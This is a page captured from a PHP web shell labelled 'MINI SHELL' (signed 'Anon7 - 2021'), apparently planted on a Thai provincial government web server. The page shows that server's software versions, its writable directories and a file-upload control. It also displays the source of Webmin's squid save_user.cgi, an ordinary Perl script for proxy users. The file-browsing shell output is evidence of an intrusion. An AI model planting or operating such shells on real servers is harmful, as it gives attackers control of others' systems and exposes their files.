MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/libexec/webmin/squid/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/libexec/webmin/squid/save_user.cgi
#!/usr/bin/perl
# save_user.cgi
# Save, create or delete a proxy user

require './squid-lib.pl';
$access{'proxyauth'} || &error($text{'eauth_ecannot'});
&ReadParse();
$conf = &get_config();
$file = &find_config("proxy_auth", $conf)->{'values'}->[0];
&lock_file($file);
@users = &list_auth_users($file);

$user = $users[$in{'index'}];
if ($in{'delete'}) {
	&replace_file_line($file, $user->{'line'});
	}
else {
	$whatfailed = $text{'suser_ftsu'};
	$in{'user'} =~ /^[^:\s]+$/ || &error($text{'suser_emsg1'});
	$salt = substr(time(), -2);
	local ($same) = grep { $_->{'user'} eq $in{'user'} } @users;
	if ($in{'new'}) {
		!$same || &error($text{'suser_etaken'});
		&open_tempfile(FILE, ">>$file");
		&print_tempfile(FILE, $in{'user'},":",&unix_crypt($in{'pass'}, $salt),"\n");
		&close_tempfile(FILE);
		}
	else {
		!$same || $same->{'user'} eq $user->{'user'} ||
			 &error($text{'suser_etaken'});
		$pass = $in{'pass_def'} ? $user->{'pass'}
					: &unix_crypt($in{'pass'}, $salt);
		&replace_file_line($file, $user->{'line'},
				   "$in{'user'}:$pass\n");
		}
	}
&unlock_file($file);
&webmin_log($in{'delete'} ? 'delete' : $in{'new'} ? 'create' : 'modify',
	    'user', $in{'user'} ? $in{'user'} : $user->{'user'});
&redirect("edit_auth.cgi");


Anon7 - 2021